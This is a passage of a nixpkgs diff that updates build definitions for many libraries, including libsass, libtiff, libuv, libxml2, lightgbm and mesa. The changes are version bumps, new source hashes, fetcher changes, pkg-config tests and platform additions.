+78,7 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.c0bw3b ]; mainProgram = "psl"; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; pkgConfigModules = [ "libpsl" ]; }; } diff --git a/pkgs/development/libraries/libqaccessibilityclient/default.nix b/pkgs/development/libraries/libqaccessibilityclient/default.nix index e05400114d060..0d518a48308de 100644 --- a/pkgs/development/libraries/libqaccessibilityclient/default.nix +++ b/pkgs/development/libraries/libqaccessibilityclient/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "libqaccessibilityclient"; - version = "0.5.0"; + version = "0.6.0"; src = fetchurl { url = "mirror://kde/stable/libqaccessibilityclient/libqaccessibilityclient-${version}.tar.xz"; - hash = "sha256-cEdyVDo7AFuUBhpT6vn51klE5oGLBMWcD7ClA8gaxKA="; + hash = "sha256-TFDESGItycUEHtENp9h7Pk5xzLSdSDGoSSEdQjxfXTM="; }; nativeBuildInputs = [ cmake extra-cmake-modules ]; diff --git a/pkgs/development/libraries/libqtdbusmock/default.nix b/pkgs/development/libraries/libqtdbusmock/default.nix index d9993947b5536..44532a0b9dae3 100644 --- a/pkgs/development/libraries/libqtdbusmock/default.nix +++ b/pkgs/development/libraries/libqtdbusmock/default.nix @@ -1,6 +1,6 @@ { stdenv , lib -, fetchbzr +, fetchFromGitLab , testers , cmake , cmake-extras @@ -17,19 +17,16 @@ stdenv.mkDerivation (finalAttrs: { pname = "libqtdbusmock"; - version = "unstable-2017-03-16"; + version = "0.9.1"; - src = fetchbzr { - url = "lp:libqtdbusmock"; - rev = "49"; - sha256 = "sha256-q3jL8yGLgcNxXHPh9M9cTVtUvonrBUPNxuPJIvu7Q/s="; + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/libqtdbusmock"; + rev = finalAttrs.version; + hash = "sha256-hVw2HnIHlA7vvt0Sr6F2qVhvBZ33aCeqb9vgbu3rgBo="; }; postPatch = '' - # Look for the new(?) name - substituteInPlace CMakeLists.txt \ - --replace 'NetworkManager' 'libnm' - # Workaround for "error: expected unqualified-id before 'public'" on "**signals" sed -i -e '/add_definitions/a -DQT_NO_KEYWORDS' CMakeLists.txt '' + lib.optionalString (!finalAttrs.finalPackage.doCheck) '' diff --git a/pkgs/development/libraries/libqtdbustest/default.nix b/pkgs/development/libraries/libqtdbustest/default.nix index fe6a3e0417982..ab07a6577b833 100644 --- a/pkgs/development/libraries/libqtdbustest/default.nix +++ b/pkgs/development/libraries/libqtdbustest/default.nix @@ -1,6 +1,6 @@ { stdenv , lib -, fetchbzr +, fetchFromGitLab , fetchpatch , testers , cmake @@ -16,12 +16,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "libqtdbustest"; - version = "unstable-2017-01-06"; + version = "0.3.2"; - src = fetchbzr { - url = "lp:libqtdbustest"; - rev = "42"; - sha256 = "sha256-5MQdGGtEVE/pM9u0B0xFXyITiRln9p+8/MLtrrCZqi8="; + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/libqtdbustest"; + rev = finalAttrs.version; + hash = "sha256-yqqyKxsbqiVTrkas79YoPMi28dKFNntiE7+dx1v+Qh4="; }; patches = [ @@ -31,13 +32,13 @@ stdenv.mkDerivation (finalAttrs: { # Disable QProcess start timeout (fetchpatch { - url = "https://salsa.debian.org/debian-ayatana-team/libqtdbustest/-/raw/0788df10bc6f2aa47c2b73fc1df944686a9ace1e/debian/patches/1003_no-QProcess-waitForstarted-timeout.patch"; + url = "https://salsa.debian.org/ubports-team/libqtdbustest/-/raw/debian/0.3.2-3/debian/patches/1003_no-QProcess-waitForstarted-timeout.patch"; hash = "sha256-ThDbn6URvkj5ARDMj+xO0fb1Qh2YQRzVy24O03KglHI="; }) # More robust dbus address reading (fetchpatch { - url = "https://salsa.debian.org/debian-ayatana-team/libqtdbustest/-/raw/7e55c79cd032c702b30d834c1fb0b65661fc6eeb/debian/patches/1004_make-reading-address-from-dbus-daemon-more-robust.patch"; + url = "https://salsa.debian.org/ubports-team/libqtdbustest/-/raw/debian/0.3.2-3/debian/patches/1004_make-reading-address-from-dbus-daemon-more-robust.patch"; hash = "sha256-hq8pdducp/udxoGWGt1dgL/7VHcbJO/oT1dOY1zew8M="; }) ]; diff --git a/pkgs/development/libraries/libqtdbustest/less-pedantic-process-finding.patch b/pkgs/development/libraries/libqtdbustest/less-pedantic-process-finding.patch index b50fc5d1e4762..dc8bcd7763f92 100644 --- a/pkgs/development/libraries/libqtdbustest/less-pedantic-process-finding.patch +++ b/pkgs/development/libraries/libqtdbustest/less-pedantic-process-finding.patch @@ -74,12 +74,13 @@ diff '--color=auto' -ur '--color=never' a/tests/libqtdbustest/TestQProcessDBusSe diff '--color=auto' -ur '--color=never' a/tests/libqtdbustest/TestSuicidalProcess.cpp b/tests/libqtdbustest/TestSuicidalProcess.cpp --- a/tests/libqtdbustest/TestSuicidalProcess.cpp 2023-01-20 21:36:16.948292559 +0100 +++ b/tests/libqtdbustest/TestSuicidalProcess.cpp 2023-01-20 21:55:07.219951081 +0100 -@@ -51,8 +51,7 @@ +@@ -51,9 +51,7 @@ pgrep.waitForFinished(); pgrep.waitForReadyRead(); - -- EXPECT_EQ("sleep 5", -- QString::fromUtf8(pgrep.readAll().trimmed()).toStdString()); + +- EXPECT_TRUE(QString::fromUtf8(pgrep.readAll().trimmed()) +- .toStdString() +- .find("sleep 5") != std::string::npos); + EXPECT_TRUE(pgrep.readAll().contains("sleep 5")); } diff --git a/pkgs/development/libraries/libre/default.nix b/pkgs/development/libraries/libre/default.nix index 92749a35e93a1..ace7d5f5f7866 100644 --- a/pkgs/development/libraries/libre/default.nix +++ b/pkgs/development/libraries/libre/default.nix @@ -8,13 +8,13 @@ }: stdenv.mkDerivation rec { - version = "3.9.0"; + version = "3.10.0"; pname = "libre"; src = fetchFromGitHub { owner = "baresip"; repo = "re"; rev = "v${version}"; - sha256 = "sha256-oFaCeVaUrAN83DT8m4gvXSaKzxq5AJw2RHwOelm8HAU="; + sha256 = "sha256-OWVDuKlF7YLipDURC46s14WOLWWagUqWg20sH0kSIA4="; }; buildInputs = [ diff --git a/pkgs/development/libraries/libremidi/default.nix b/pkgs/development/libraries/libremidi/default.nix index 3fad374e87beb..4c19375a07f15 100644 --- a/pkgs/development/libraries/libremidi/default.nix +++ b/pkgs/development/libraries/libremidi/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "libremidi"; - version = "4.2.4"; + version = "4.4.0"; src = fetchFromGitHub { owner = "jcelerier"; repo = "libremidi"; rev = "v${version}"; - hash = "sha256-AWONCZa4tVZ7HMze9WSVzHQUXIrn1i6ZZ4Hgufkrep8="; + hash = "sha256-raVBJ75/UmM3P69s8VNUXRE/2jV4WqPIfI4eXaf6UEg="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/librime/default.nix b/pkgs/development/libraries/librime/default.nix index 8bbcb7af80a37..95d88384b79e9 100644 --- a/pkgs/development/libraries/librime/default.nix +++ b/pkgs/development/libraries/librime/default.nix @@ -11,13 +11,13 @@ let in stdenv.mkDerivation rec { pname = "librime"; - version = "1.9.0"; + version = "1.10.0"; src = fetchFromGitHub { owner = "rime"; repo = pname; rev = version; - sha256 = "sha256-4gEdltdm9A3FxwyZqgSyUWgQ934glinfKwHF8S05f5I="; + sha256 = "sha256-tflWBfH1+1AFvkq0A6mgsKl+jq6m5c83GA56LWxdnlw="; }; nativeBuildInputs = [ cmake pkg-config ]; diff --git a/pkgs/development/libraries/libsass/default.nix b/pkgs/development/libraries/libsass/default.nix index 57e58adb8c7e2..005e74289df7e 100644 --- a/pkgs/development/libraries/libsass/default.nix +++ b/pkgs/development/libraries/libsass/default.nix @@ -1,7 +1,6 @@ { lib , stdenv , fetchFromGitHub -, fetchpatch , autoreconfHook , testers @@ -13,13 +12,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "libsass"; - version = "3.6.5"; # also check sassc for updates + version = "3.6.6"; # also check sassc for updates src = fetchFromGitHub { owner = "sass"; repo = finalAttrs.pname; rev = finalAttrs.version; - sha256 = "1cxj6r85d5f3qxdwzxrmkx8z875hig4cr8zsi30w6vj23cyds3l2"; + hash = "sha256-FkLL3OAJXDptRQY6ZkYbss2pcc40f/wasIvEIyHRQFo="; # Remove unicode file names which leads to different checksums on HFS+ # vs. other filesystems because of unicode normalisation. postFetch = '' @@ -27,14 +26,6 @@ stdenv.mkDerivation (finalAttrs: { ''; }; - patches = [ - (fetchpatch { - name = "CVE-2022-26592.CVE-2022-43357.CVE-2022-43358.patch"; - url = "https://github.com/sass/libsass/pull/3184/commits/5bb0ea0c4b2ebebe542933f788ffacba459a717a.patch"; - hash = "sha256-DR6pKFWL70uJt//drzq34LeTzT8rUqgUTpgfUHpD2s4="; - }) - ]; - preConfigure = '' export LIBSASS_VERSION=${finalAttrs.version} ''; diff --git a/pkgs/development/libraries/libsecret/default.nix b/pkgs/development/libraries/libsecret/default.nix index 733fcafaf2904..3c5b5c489c077 100644 --- a/pkgs/development/libraries/libsecret/default.nix +++ b/pkgs/development/libraries/libsecret/default.nix @@ -24,13 +24,13 @@ stdenv.mkDerivation rec { pname = "libsecret"; - version = "0.21.2"; + version = "0.21.3"; outputs = [ "out" "dev" ] ++ lib.optional withIntrospection "devdoc"; src = fetchurl { url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; - hash = "sha256-5KNBSWoIFeZMjTuPq6sz17rn796rd7hDZpcx1bGB3O4="; + hash = "sha256-mj4lcfEEgDXYAjj1LIdgEliEpDuvilgP7bclDBrQqec="; }; depsBuildBuild = [ diff --git a/pkgs/development/libraries/libshumate/default.nix b/pkgs/development/libraries/libshumate/default.nix index 4722781c19334..9639ac34a01b7 100644 --- a/pkgs/development/libraries/libshumate/default.nix +++ b/pkgs/development/libraries/libshumate/default.nix @@ -32,6 +32,11 @@ stdenv.mkDerivation rec { sha256 = "+h0dKLECtvfsxwD5aRTIgiNI9jG/tortUJYFiYMe60g="; }; + depsBuildBuild = [ + # required to find native gi-docgen when cross compiling + pkg-config + ]; + nativeBuildInputs = [ gi-docgen meson diff --git a/pkgs/development/libraries/libtheora/default.nix b/pkgs/development/libraries/libtheora/default.nix index c61a4dc961629..45b7e4caaf1dd 100644 --- a/pkgs/development/libraries/libtheora/default.nix +++ b/pkgs/development/libraries/libtheora/default.nix @@ -1,4 +1,4 @@ -{lib, stdenv, fetchurl, libogg, libvorbis, pkg-config, autoreconfHook, fetchpatch }: +{ lib, stdenv, fetchurl, libogg, libvorbis, pkg-config, autoreconfHook, fetchpatch }: stdenv.mkDerivation rec { pname = "libtheora"; @@ -15,6 +15,8 @@ stdenv.mkDerivation rec { url = "https://github.com/xiph/theora/commit/28cc6dbd9b2a141df94f60993256a5fca368fa54.diff"; sha256 = "16jqrq4h1b3krj609vbpzd5845cvkbh3mwmjrcdg35m490p19x9k"; }) + ] ++ lib.optionals stdenv.hostPlatform.isMinGW [ + ./mingw-remove-export.patch ]; configureFlags = [ "--disable-examples" ]; @@ -30,6 +32,6 @@ stdenv.mkDerivation rec { description = "Library for Theora, a free and open video compression format"; license = licenses.bsd3; maintainers = with maintainers; [ ]; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; }; } diff --git a/pkgs/development/libraries/libtheora/mingw-remove-export.patch b/pkgs/development/libraries/libtheora/mingw-remove-export.patch new file mode 100644 index 0000000000000..bf0ffc07fc439 --- /dev/null +++ b/pkgs/development/libraries/libtheora/mingw-remove-export.patch @@ -0,0 +1,18 @@ +diff --git a/win32/xmingw32/libtheoradec-all.def b/win32/xmingw32/libtheoradec-all.def +index 566eeb3..4a2e766 100644 +--- a/win32/xmingw32/libtheoradec-all.def ++++ b/win32/xmingw32/libtheoradec-all.def +@@ -1,4 +1,3 @@ +-EXPORTS + ; Old alpha API + theora_version_string @ 1 + theora_version_number @ 2 +diff --git a/win32/xmingw32/libtheoraenc-all.def b/win32/xmingw32/libtheoraenc-all.def +index 36d2dad..d1da2f4 100644 +--- a/win32/xmingw32/libtheoraenc-all.def ++++ b/win32/xmingw32/libtheoraenc-all.def +@@ -1,4 +1,3 @@ +-EXPORTS + ; Old alpha API + theora_encode_init @ 1 + theora_encode_YUVin @ 2 diff --git a/pkgs/development/libraries/libtiff/default.nix b/pkgs/development/libraries/libtiff/default.nix index 8e735369e076e..af9e10a6b8f5c 100644 --- a/pkgs/development/libraries/libtiff/default.nix +++ b/pkgs/development/libraries/libtiff/default.nix @@ -20,9 +20,10 @@ , gdal , openimageio , freeimage +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libtiff"; version = "4.6.0"; @@ -32,7 +33,7 @@ stdenv.mkDerivation rec { src = fetchFromGitLab { owner = "libtiff"; repo = "libtiff"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-qCg5qjsPPynCHIg0JsPJldwVdcYkI68zYmyNAKUCoyw="; }; @@ -77,6 +78,9 @@ stdenv.mkDerivation rec { tests = { inherit libgeotiff imagemagick graphicsmagick gdal openimageio freeimage; inherit (python3Packages) pillow imread; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; }; updateScript = nix-update-script { }; }; @@ -84,8 +88,9 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Library and utilities for working with the TIFF image file format"; homepage = "https://libtiff.gitlab.io/libtiff"; - changelog = "https://libtiff.gitlab.io/libtiff/v${version}.html"; + changelog = "https://libtiff.gitlab.io/libtiff/v${finalAttrs.version}.html"; license = licenses.libtiff; platforms = platforms.unix; + pkgConfigModules = [ "libtiff-4" ]; }; -} +}) diff --git a/pkgs/development/libraries/libtorrent-rasterbar/default.nix b/pkgs/development/libraries/libtorrent-rasterbar/default.nix index 83c84fac602bf..75f365ddcb38c 100644 --- a/pkgs/development/libraries/libtorrent-rasterbar/default.nix +++ b/pkgs/development/libraries/libtorrent-rasterbar/default.nix @@ -3,7 +3,7 @@ }: let - version = "2.0.9"; + version = "2.0.10"; # Make sure we override python, so the correct version is chosen boostPython = boost.override { enablePython = true; inherit python; }; @@ -16,7 +16,7 @@ in stdenv.mkDerivation { owner = "arvidn"; repo = "libtorrent"; rev = "v${version}"; - sha256 = "sha256-kUpeofullQ70uK/YZUD0ikHCquFTGwev7MxBYj0oHeU="; + sha256 = "sha256-JrAYtoS8wNmmhbgnprD7vNz1N64ekIryjK77rAKTyaQ="; fetchSubmodules = true; }; diff --git a/pkgs/development/libraries/libunibreak/default.nix b/pkgs/development/libraries/libunibreak/default.nix index f740bd82bb732..557ad37f23d27 100644 --- a/pkgs/development/libraries/libunibreak/default.nix +++ b/pkgs/development/libraries/libunibreak/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "libunibreak"; - version = "5.1"; + version = "6.1"; src = let rev_version = lib.replaceStrings ["."] ["_"] version; @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { owner = "adah1972"; repo = pname; rev = "libunibreak_${rev_version}"; - sha256 = "sha256-hjgT5DCQ6KFXKlxk9LLzxGHz6B71X/3Ot7ipK3KY85A="; + sha256 = "sha256-8yheb+XSvc1AqITjSutF+/4OWb4+7hweedKzhKJcE1Y="; }; nativeBuildInputs = [ autoreconfHook ]; diff --git a/pkgs/development/libraries/libunwind/default.nix b/pkgs/development/libraries/libunwind/default.nix index 19d6f0f6cd025..90054b8ff7b9b 100644 --- a/pkgs/development/libraries/libunwind/default.nix +++ b/pkgs/development/libraries/libunwind/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "libunwind"; - version = "1.7.2"; + version = "1.8.0"; src = fetchFromGitHub { owner = "libunwind"; repo = "libunwind"; rev = "v${version}"; - hash = "sha256-z5YCue0zadQnMEbGFniFvDjXNy6dSHQDQnXRXS6Uh/Y="; + hash = "sha256-u33JAgxNy45yhIFL5QDsfa7EtLLKWmCv1kO4BxYYuwM="; }; postPatch = if (stdenv.cc.isClang || stdenv.hostPlatform.isStatic) then '' diff --git a/pkgs/development/libraries/libuv/default.nix b/pkgs/development/libraries/libuv/default.nix index a150bddc626d0..52e1de20327d2 100644 --- a/pkgs/development/libraries/libuv/default.nix +++ b/pkgs/development/libraries/libuv/default.nix @@ -22,14 +22,14 @@ }: stdenv.mkDerivation (finalAttrs: { - version = "1.47.0"; + version = "1.48.0"; pname = "libuv"; src = fetchFromGitHub { owner = "libuv"; repo = "libuv"; rev = "v${finalAttrs.version}"; - hash = "sha256-J6qvq///A/tr+/vNRVCwCc80/VHKWQTYF6Mt1I+dBCU="; + hash = "sha256-U68BmIQNpmIy3prS7LkYl+wvDJQNikoeFiKh50yQFoA="; }; outputs = [ "out" "dev" ]; @@ -48,6 +48,8 @@ stdenv.mkDerivation (finalAttrs: { # Assertion failed in test/test-tcp-bind6-error.c on line 60: r == UV_EADDRINUSE # Assertion failed in test/test-tcp-bind-error.c on line 99: r == UV_EADDRINUSE "tcp_bind6_error_addrinuse" "tcp_bind_error_addrinuse_listen" + # https://github.com/libuv/libuv/pull/4075#issuecomment-1935572237 + "thread_priority" ] ++ lib.optionals stdenv.isDarwin [ # Sometimes: timeout (no output), failed uv_listen. Someone # should report these failures to libuv team. There tests should diff --git a/pkgs/development/libraries/libwacom/default.nix b/pkgs/development/libraries/libwacom/default.nix index ed5413464e1d3..8e9840325bb96 100644 --- a/pkgs/development/libraries/libwacom/default.nix +++ b/pkgs/development/libraries/libwacom/default.nix @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { pname = "libwacom"; - version = "2.9.0"; + version = "2.10.0"; outputs = [ "out" "dev" ]; @@ -23,7 +23,7 @@ stdenv.mkDerivation rec { owner = "linuxwacom"; repo = "libwacom"; rev = "libwacom-${version}"; - hash = "sha256-oM3dd22hQaAXdNoO2Q2JvO2lJCkmfw8f0NWxYcVT3lA="; + hash = "sha256-mH0aBDXeaz0tZLwNPSWUepHu52DnlvPyQFw3EByIwys="; }; postPatch = '' diff --git a/pkgs/development/libraries/libxkbcommon/default.nix b/pkgs/development/libraries/libxkbcommon/default.nix index b4683f673fba9..03064a7e7b2a8 100644 --- a/pkgs/development/libraries/libxkbcommon/default.nix +++ b/pkgs/development/libraries/libxkbcommon/default.nix @@ -17,14 +17,15 @@ , wayland , wayland-protocols , wayland-scanner +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libxkbcommon"; version = "1.5.0"; src = fetchurl { - url = "https://xkbcommon.org/download/${pname}-${version}.tar.xz"; + url = with finalAttrs; "https://xkbcommon.org/download/${pname}-${version}.tar.xz"; sha256 = "sha256-Vg8RxLu8oQ9JXz7306aqTKYrT4+wtS59RZ0Yom5G4Bc="; }; @@ -49,6 +50,12 @@ stdenv.mkDerivation rec { patchShebangs ../test/ ''; + passthru = { + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "A library to handle keyboard descriptions"; longDescription = '' @@ -58,7 +65,7 @@ stdenv.mkDerivation rec { and dead keys. ''; # and a separate library for listing available keyboard layouts. homepage = "https://xkbcommon.org"; - changelog = "https://github.com/xkbcommon/libxkbcommon/blob/xkbcommon-${version}/NEWS"; + changelog = "https://github.com/xkbcommon/libxkbcommon/blob/xkbcommon-${finalAttrs.version}/NEWS"; license = licenses.mit; maintainers = with maintainers; [ primeos ttuegel ]; mainProgram = "xkbcli"; @@ -69,4 +76,4 @@ stdenv.mkDerivation rec { "xkbregistry" ]; }; -} +}) diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix index ce7e51c04f482..78c5d09889aa7 100644 --- a/pkgs/development/libraries/libxml2/default.nix +++ b/pkgs/development/libraries/libxml2/default.nix @@ -20,6 +20,7 @@ , enableShared ? !stdenv.hostPlatform.isMinGW && !stdenv.hostPlatform.isStatic , enableStatic ? !enableShared , gnome +, testers }: let @@ -32,9 +33,9 @@ in assert oldVer -> stdenv.isDarwin; # reduce likelihood of using old libxml2 unintentionally let -libxml = stdenv.mkDerivation rec { +libxml = stdenv.mkDerivation (finalAttrs: rec { pname = "libxml2"; - version = "2.12.4"; + version = "2.12.5"; outputs = [ "bin" "dev" "out" "doc" ] ++ lib.optional pythonSupport "py" @@ -43,7 +44,7 @@ libxml = stdenv.mkDerivation rec { src = fetchurl { url = "mirror://gnome/sources/libxml2/${lib.versions.majorMinor version}/libxml2-${version}.tar.xz"; - hash = "sha256-SXNg5CPPC9merNt8YhXeqS5tbonulAOTwrrg53y5t9A="; + hash = "sha256-qXJ5Zpav04Bz4PWcKDw6L1pWC1JotLq8ORsoYWZSayE="; }; strictDeps = true; @@ -123,6 +124,11 @@ libxml = stdenv.mkDerivation rec { packageName = pname; versionPolicy = "none"; }; + tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; }; meta = with lib; { @@ -131,8 +137,9 @@ libxml = stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.all; maintainers = with maintainers; [ eelco jtojnar ]; + pkgConfigModules = [ "libxml-2.0" ]; }; -}; +}); in if oldVer then libxml.overrideAttrs (attrs: rec { diff --git a/pkgs/development/libraries/lightgbm/default.nix b/pkgs/development/libraries/lightgbm/default.nix index 55d04fb4f3745..09ac8b8fa8633 100644 --- a/pkgs/development/libraries/lightgbm/default.nix +++ b/pkgs/development/libraries/lightgbm/default.nix @@ -23,14 +23,14 @@ stdenv.mkDerivation rec { # in \ # rWrapper.override{ packages = [ lgbm ]; }" pname = lib.optionalString rLibrary "r-" + pnameBase; - version = "4.1.0"; + version = "4.3.0"; src = fetchFromGitHub { owner = "microsoft"; repo = pnameBase; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-AhXe/Mlor/i0y84wI9jVPKSnyVbSyAV52Y4yiNm7yLQ="; + hash = "sha256-hEoGdzC6n8t14ZUFWFrdljEkQRo9qaDGYTamvIAgrbg="; }; nativeBuildInputs = [ cmake ] @@ -47,6 +47,7 @@ stdenv.mkDerivation rec { propagatedBuildInputs = lib.optionals rLibrary [ rPackages.data_table + rPackages.markdown rPackages.rmarkdown rPackages.jsonlite rPackages.Matrix @@ -70,6 +71,9 @@ stdenv.mkDerivation rec { --replace \ "install_args <- c(\"CMD\", \"INSTALL\", \"--no-multiarch\", \"--with-keep.source\", tarball)" \ "install_args <- c(\"CMD\", \"INSTALL\", \"--no-multiarch\", \"--with-keep.source\", \"-l $out/library\", tarball)" + + # Retry this test in next release. Something fails in the setup, so GTEST_FILTER is not enough + rm tests/cpp_tests/test_arrow.cpp ''; cmakeFlags = lib.optionals doCheck [ "-DBUILD_CPP_TEST=ON" ] diff --git a/pkgs/development/libraries/litehtml/default.nix b/pkgs/development/libraries/litehtml/default.nix index 3927f7cce4a53..b1864f6497a9f 100644 --- a/pkgs/development/libraries/litehtml/default.nix +++ b/pkgs/development/libraries/litehtml/default.nix @@ -5,14 +5,14 @@ , gumbo }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "litehtml"; version = "0.6"; src = fetchFromGitHub { owner = "litehtml"; repo = "litehtml"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-9571d3k8RkzEpMWPuIejZ7njLmYstSwFUaSqT3sk6uQ="; }; @@ -43,4 +43,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; maintainers = with maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/development/libraries/llhttp/default.nix b/pkgs/development/libraries/llhttp/default.nix index fbf7198f1d551..15b548af70b38 100644 --- a/pkgs/development/libraries/llhttp/default.nix +++ b/pkgs/development/libraries/llhttp/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "llhttp"; - version = "9.1.3"; + version = "9.2.0"; src = fetchFromGitHub { owner = "nodejs"; repo = "llhttp"; rev = "release/v${finalAttrs.version}"; - hash = "sha256-QacjukWkRCuQA4qzUq45521YOBLPuOSKNR1pVxgxe9o="; + hash = "sha256-DX/CuTyvc2OfAVWvlJr6wVHwSuqWmqQt34vM1FEazwE="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/lmdbxx/default.nix b/pkgs/development/libraries/lmdbxx/default.nix index 4fc1573eea1a1..c8b4dec313be7 100644 --- a/pkgs/development/libraries/lmdbxx/default.nix +++ b/pkgs/development/libraries/lmdbxx/default.nix @@ -2,14 +2,14 @@ , fetchFromGitHub , lmdb }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "lmdbxx"; version = "1.0.0"; src = fetchFromGitHub { owner = "hoytech"; repo = "lmdbxx"; - rev = version; + rev = finalAttrs.version; sha256 = "sha256-7CxQZdgHVvmof6wVR9Mzic6tg89XJT3Z1ICGRs7PZYo="; }; @@ -22,5 +22,4 @@ stdenv.mkDerivation rec { license = lib.licenses.unlicense; maintainers = with lib.maintainers; [ fgaz ]; }; -} - +}) diff --git a/pkgs/development/libraries/lucene++/default.nix b/pkgs/development/libraries/lucene++/default.nix index 7755692d2c041..41aadfcdc7471 100644 --- a/pkgs/development/libraries/lucene++/default.nix +++ b/pkgs/development/libraries/lucene++/default.nix @@ -29,9 +29,12 @@ stdenv.mkDerivation rec { }) ]; + # Don't use the built in gtest - but the nixpkgs one requires C++14. postPatch = '' substituteInPlace src/test/CMakeLists.txt \ --replace "add_subdirectory(gtest)" "" + substituteInPlace CMakeLists.txt \ + --replace "set(CMAKE_CXX_STANDARD 11)" "set(CMAKE_CXX_STANDARD 14)" ''; doCheck = true; diff --git a/pkgs/development/libraries/mesa/backports/0001-dri-added-build-dependencies-for-systems-using-non-s.patch b/pkgs/development/libraries/mesa/backports/0001-dri-added-build-dependencies-for-systems-using-non-s.patch deleted file mode 100644 index c0b239c925981..0000000000000 --- a/pkgs/development/libraries/mesa/backports/0001-dri-added-build-dependencies-for-systems-using-non-s.patch +++ /dev/null @@ -1,56 +0,0 @@ -From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 -From: "duncan.hopkins" <duncan.hopkins@foundry.com> -Date: Tue, 17 Oct 2023 09:34:31 +0100 -Subject: [PATCH] dri: added build dependencies for systems using non-standard - prefixed X11 libs. - -To get MacOS to build, some extra dependencies need to be added to a couple of build targets. -This mainly shows up when not installing the dependencies in the default prefix locations. -On MacOS, this happens when using a custom build of brew to install the dependencies to 'odd' locations. - -Reviewed-by: Adam Jackson <ajax@redhat.com> -Part-of: <https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25992> ---- - src/gallium/targets/dri/meson.build | 2 +- - src/glx/meson.build | 2 +- - src/loader/meson.build | 2 +- - 3 files changed, 3 insertions(+), 3 deletions(-) - -diff --git a/src/gallium/targets/dri/meson.build b/src/gallium/targets/dri/meson.build -index 66619bba0db..6d3ef197e74 100644 ---- a/src/gallium/targets/dri/meson.build -+++ b/src/gallium/targets/dri/meson.build -@@ -49,7 +49,7 @@ libgallium_dri = shared_library( - link_depends : gallium_dri_link_depends, - link_with : [ - libdri, libmesa, libgalliumvl, -- libgallium, libglapi, libpipe_loader_static, libws_null, libwsw, libswdri, -+ libgallium, libglapi, libloader, libpipe_loader_static, libws_null, libwsw, libswdri, - libswkmsdri, - ], - dependencies : [ -diff --git a/src/glx/meson.build b/src/glx/meson.build -index 7ec3e3e0d88..1a5e9833956 100644 ---- a/src/glx/meson.build -+++ b/src/glx/meson.build -@@ -136,7 +136,7 @@ libglx = static_library( - ], - dependencies : [ - idep_mesautil, idep_xmlconfig, -- dep_libdrm, dep_dri2proto, dep_glproto, dep_x11, dep_glvnd, dep_xxf86vm, dep_xshmfence -+ dep_libdrm, dep_dri2proto, dep_glproto, dep_x11, dep_xext, dep_glvnd, dep_xxf86vm, dep_xshmfence - ], - ) - -diff --git a/src/loader/meson.build b/src/loader/meson.build -index 35f9991ba2f..043cc852112 100644 ---- a/src/loader/meson.build -+++ b/src/loader/meson.build -@@ -47,6 +47,6 @@ libloader = static_library( - c_args : loader_c_args, - gnu_symbol_visibility : 'hidden', - include_directories : [inc_include, inc_src, inc_util], -- dependencies : [dep_libdrm, dep_thread, dep_xcb_xrandr], -+ dependencies : [dep_libdrm, dep_thread, dep_xcb, dep_xcb_xrandr], - build_by_default : false, - ) diff --git a/pkgs/development/libraries/mesa/backports/0002-util-Update-util-libdrm.h-stubs-to-allow-loader.c-to.patch b/pkgs/development/libraries/mesa/backports/0002-util-Update-util-libdrm.h-stubs-to-allow-loader.c-to.patch deleted file mode 100644 index 5a48ace8fbbcb..0000000000000 --- a/pkgs/development/libraries/mesa/backports/0002-util-Update-util-libdrm.h-stubs-to-allow-loader.c-to.patch +++ /dev/null @@ -1,103 +0,0 @@ -From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 -From: "duncan.hopkins" <duncan.hopkins@foundry.com> -Date: Tue, 17 Oct 2023 14:36:39 +0100 -Subject: [PATCH] util: Update util/libdrm.h stubs to allow loader.c to compile - on MacOS. - -MacOS does not have the libdrm libraries so is missing xf86drm.h. -util/libdrm.h already has a collection of stubs for systems that do not support the libraries. - -A compile on MacOS will fail with the source that uses newer drm functions and structures. -Update adds in missing items that MacOS code needs to compile and run. -New code is copied from the public repository: https://gitlab.freedesktop.org/mesa/drm/-/blob/main/xf86drm.h - -Reviewed-by: Adam Jackson <ajax@redhat.com> -Part-of: <https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25992> ---- - src/util/libdrm.h | 57 +++++++++++++++++++++++++++++++++++++++++++++++ - 1 file changed, 57 insertions(+) - -diff --git a/src/util/libdrm.h b/src/util/libdrm.h -index cc153cf88ab..e3af494b8d1 100644 ---- a/src/util/libdrm.h -+++ b/src/util/libdrm.h -@@ 